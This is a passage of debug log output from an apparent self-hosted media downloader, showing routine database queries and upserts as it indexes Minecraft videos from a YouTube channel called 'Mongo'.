s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [31] 19:43:16.634 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1354.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:43:16.638 [debug] QUERY OK source="media_items" db=2.9ms queue=0.1ms idle=1355.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-21 17:01:04Z], 31] 19:43:16.638 [debug] QUERY OK source="media_items" db=0.5ms idle=1088.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Mongo and Axy are doing a build battle on who can build the best TITAN SUNMAN! Who wins Mongo or Axy? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Cheated With TITAN SUNMAN In Minecraft Build Battle!", "c3894956-abe6-43d0-82d6-a509c3d814cc", "xwUYue7gz98", false, "https://www.youtube.com/watch?v=xwUYue7gz98", 31, [], 758, false, 13, "/downloads/rory/Mongo/2026-05-21 I Cheated With TITAN SUNMAN In Minecraft Build Battle!/I Cheated With TITAN SUNMAN In Minecraft Build Battle! [xwUYue7gz98].mp4", false, false, 98, ~U[2026-05-21 17:01:04Z], ~U[2026-06-02 23:43:16Z], ~U[2026-06-02 23:43:16Z], "Mongo and Axy are doing a build battle on who can build the best TITAN SUNMAN! Who wins Mongo or Axy? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Cheated With TITAN SUNMAN In Minecraft Build Battle!", "xwUYue7gz98", "https://www.youtube.com/watch?v=xwUYue7gz98", 31, 758, false, "/downloads/rory/Mongo/2026-05-21 I Cheated With TITAN SUNMAN In Minecraft Build Battle!/I Cheated With TITAN SUNMAN In Minecraft Build Battle! [xwUYue7gz98].mp4", false, ~U[2026-05-21 17:01:04Z]] 19:43:16.639 [debug] QUERY OK source="sources" db=0.1ms idle=86.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:43:16.639 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:43:16.640 [debug] QUERY OK source="media_items" db=0.2ms idle=5.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [138482] 19:43:16.640 [debug] Current batch of media processed. Will check again in 1000ms 19:43:17.640 [debug] Current batch of media processed. Will check again in 1000ms 19:43:18.641 [debug] Current batch of media processed. Will check again in 1000ms 19:43:19.642 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Mongo Pretended to be a BABY AXOLOTL on an One Chunk Minecraft! What does Mongo do? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "duration" => 893, "filename" => "/downloads/rory/Mongo/2026-05-20 I Pretended to be a BABY AXOLOTL on an OP ELEMENTAL One Chunk!/I Pretended to be a BABY AXOLOTL on an OP ELEMENTAL One Chunk! [dMFgYKWa7wk].mp4", "id" => "dMFgYKWa7wk", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=dMFgYKWa7wk", "playlist_index" => 14, "timestamp" => 1779296452, "title" => "I Pretended to be a BABY AXOLOTL on an OP ELEMENTAL One Chunk!", "upload_date" => "20260520"} 19:43:19.643 [debug] QUERY OK source="sources" db=0.1ms idle=1363.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [31] 19:43:19.643 [debug] QUERY OK source="sources" db=0.1ms idle=1363.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:43:19.644 [debug] QUERY OK source="media_items" db=1.0ms idle=1363.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-20 17:00:52Z], 31] 19:43:19.645 [debug] QUERY OK source="media_items" db=0.5ms idle=1090.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Mongo Pretended to be a BABY AXOLOTL on an One Chunk Minecraft! What does Mongo do? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Pretended to be a BABY AXOLOTL on an OP ELEMENTAL One Chunk!", "fb73fbcf-fd3e-4230-9941-f5f43e072266", "dMFgYKWa7wk", false, "https://www.youtube.com/watch?v=dMFgYKWa7wk", 31, [], 893, false, 14, "/downloads/rory/Mongo/2026-05-20 I Pretended to be a BABY AXOLOTL on an OP ELEMENTAL One Chunk!/I Pretended to be a BABY AXOLOTL on an OP ELEMENTAL One Chunk! [dMFgYKWa7wk].mp4", false, false, 98, ~U[2026-05-20 17:00:52Z], ~U[2026-06-02 23:43:19Z], ~U[2026-06-02 23:43:19Z], "Mongo Pretended to be a BABY AXOLOTL on an One Chunk Minecraft! What does Mongo do? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Pretended to be a BABY AXOLOTL on an OP ELEMENTAL One Chunk!", "dMFgYKWa7wk", "https://www.youtube.com/watch?v=dMFgYKWa7wk", 31, 893, false, "/downloads/rory/Mongo/2026-05-20 I Pretended to be a BABY AXOLOTL on an OP ELEMENTAL One Chunk!/I Pretended to be a BABY AXOLOTL on an OP ELEMENTAL One Chunk! [dMFgYKWa7wk].mp4", false, ~U[2026-05-20 17:00:52Z]] 19:43:19.645 [debug] QUERY OK source="sources" db=0.1ms idle=90.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:43:19.646 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:43:19.646 [debug] QUERY OK source="media_items" db=0.2ms idle=2.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [138269] 19:43:19.646 [debug] Current batch of media processed. Will check again in 1000ms 19:43:20.647 [debug] Current batch of media processed. Will check again in 1000ms 19:43:21.649 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Mongo Pranks his friends in Minecraft With SUNMAN In Minecraft! What Happens? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "duration" => 942, "filename" => "/downloads/rory/Mongo/2026-05-19 I Pranked My Friends With SUNMAN in Minecraft!/I Pranked My Friends With SUNMAN in Minecraft! [N5Mo--bgYg8].mp4", "id" => "N5Mo--bgYg8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=N5Mo--bgYg8", "playlist_index" => 15, "timestamp" => 1779210022, "title" => "I Pranked My Friends With SUNMAN in Minecraft!", "upload_date" => "20260519"} 19:43:21.651 [debug] QUERY OK source="sources" db=0.6ms queue=1.1ms idle=369.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [31] 19:43:21.652 [debug] QUERY OK source="sources" db=0.5ms queue=0.2ms idle=372.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:43:21.658 [debug] QUERY OK source="media_items" db=4.4ms idle=373.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-19 17:00:22Z], 31] 19:43:21.661 [debug] QUERY OK source="media_items" db=2.1ms queue=0.1ms idle=379.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Mongo Pranks his friends in Minecraft With SUNMAN In Minecraft! What Happens? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Pranked My Friends With SUNMAN in Minecraft!", "42adccd1-2682-4bc4-9d2f-98bcf147ea14", "N5Mo--bgYg8", false, "https://www.youtube.com/watch?v=N5Mo--bgYg8", 31, [], 942, false, 15, "/downloads/rory/Mongo/2026-05-19 I Pranked My Friends With SUNMAN in Minecraft!/I Pranked My Friends With SUNMAN in Minecraft! [N5Mo--bgYg8].mp4", false, false, 98, ~U[2026-05-19 17:00:22Z], ~U[2026-06-02 23:43:21Z], ~U[2026-06-02 23:43:21Z], "Mongo Pranks his friends in Minecraft With SUNMAN In Minecraft! What Happens? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Pranked My Friends With SUNMAN in Minecraft!", "N5Mo--bgYg8", "https://www.youtube.com/watch?v=N5Mo--bgYg8", 31, 942, false, "/downloads/rory/Mongo/2026-05-19 I Pranked My Friends With SUNMAN in Minecraft!/I Pranked My Friends With SUNMAN in Minecraft! [N5Mo--bgYg8].mp4", false, ~U[2026-05-19 17:00:22Z]] 19:43:21.662 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=104.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:43:21.664 [debug] QUERY OK source="media_profiles" db=0.6ms queue=0.1ms idle=12.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:43:21.665 [debug] QUERY OK source="media_items" db=0.8ms idle=12.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [138054] 19:43:21.665 [debug] Current batch of media processed. Will check again in 1000ms 19:43:22.666 [debug] Current batch of media processed. Will check again in 1000ms 19:43:23.667 [debug] Current batch of media processed. Will check again in 1000ms 19:43:24.668 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Mongo and Axy are doing a build battle on who can build the best BLUEY! Who wins Mongo or Axy? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "duration" => 1113, "filename" => "/downloads/rory/Mongo/2026-05-18 I Cheated With GIANT BLUEY In Minecraft Build Battle!/I Cheated With GIANT BLUEY In Minecraft Build Battle! [SCT1zyFtWcA].mp4", "id" => "SCT1zyFtWcA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=SCT1zyFtWcA", "playlist_index" => 16, "timestamp" => 1779123626, "title" => "I Cheated With GIANT BLUEY In Minecraft Build Battle!", "upload_date" => "20260518"} 19:43:24.669 [debug] QUERY OK source="sources" db=0.5ms idle=1389.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [31] 19:43:24.670 [debug] QUERY OK source="sources" db=0.3ms idle=1390.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:43:24.672 [debug] QUERY OK source="media_items" db=2.1ms idle=1391.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-18 17:00:26Z], 31] 19:43:24.675 [debug] QUERY OK source="media_items" db=2.2ms idle=1113.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Mongo and Axy are doing a build battle on who can build the best BLUEY! Who wins Mongo or Axy? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Cheated With GIANT BLUEY In Minecraft Build Battle!", "3cc0a611-7ebc-4bbb-b083-d11aa0926425", "SCT1zyFtWcA", false, "https://www.youtube.com/watch?v=SCT1zyFtWcA", 31, [], 1113, false, 16, "/downloads/rory/Mongo/2026-05-18 I Cheated With GIANT BLUEY In Minecraft Build Battle!/I Cheated With GIANT BLUEY In Minecraft Build Battle! [SCT1zyFtWcA].mp4", false, false, 98, ~U[2026-05-18 17:00:26Z], ~U[2026-06-02 23:43:24Z], ~U[2026-06-02 23:43:24Z], "Mongo and Axy are doing a build battle on who can build the best BLUEY! Who wins Mongo or Axy? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Cheated With GIANT BLUEY In Minecraft Build Battle!", "SCT1zyFtWcA", "https://www.youtube.com/watch?v=SCT1zyFtWcA", 31, 1113, false, "/downloads/rory/Mongo/2026-05-18 I Cheated With GIANT BLUEY In Minecraft Build Battle!/I Cheated With GIANT BLUEY In Minecraft Build Battle! [SCT1zyFtWcA].mp4", false, ~U[2026-05-18 17:00:26Z]] 19:43:24.676 [debug] QUERY OK source="sources" db=0.4ms idle=114.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:43:24.677 [debug] QUERY OK source="media_profiles" db=0.4ms idle=7.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:43:24.678 [debug] QUERY OK source="media_items" db=0.4ms idle=7.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [137842] 19:43:24.678 [debug] Current batch of media processed. Will check again in 1000ms 19:43:25.482 [info] {"source":"oban","duration":715,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:43:25.678 [debug] Current batch of media processed. Will check again in 1000ms 19:43:26.679 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Mongo Pretended to be a BABY CRABTANIC on an One Chunk Minecraft! What does Mongo do? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "duration" => 901, "filename" => "/downloads/rory/Mongo/2026-05-17 Pretending to be BABY CRABTANIC on an OP One Chunk..#/Pretending to be BABY CRABTANIC on an OP One Chunk... [GxN99c_ujUc].mp4", "id" => "GxN99c_ujUc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=GxN99c_ujUc", "playlist_index" => 17, "timestamp" => 1779037217, "title" => "Pretending to be BABY CRABTANIC on an OP One Chunk...", "upload_date" => "20260517"} 19:43:26.681 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1117.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [31] 19:43:26.682 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=402.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:43:26.685 [debug] QUERY OK source="media_items" db=2.5ms queue=0.1ms idle=403.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-17 17:00:17Z], 31] 19:43:26.686 [debug] QUERY OK source="media_items" db=0.4ms idle=406.4ms INSERT INTO "media_items" AS m0 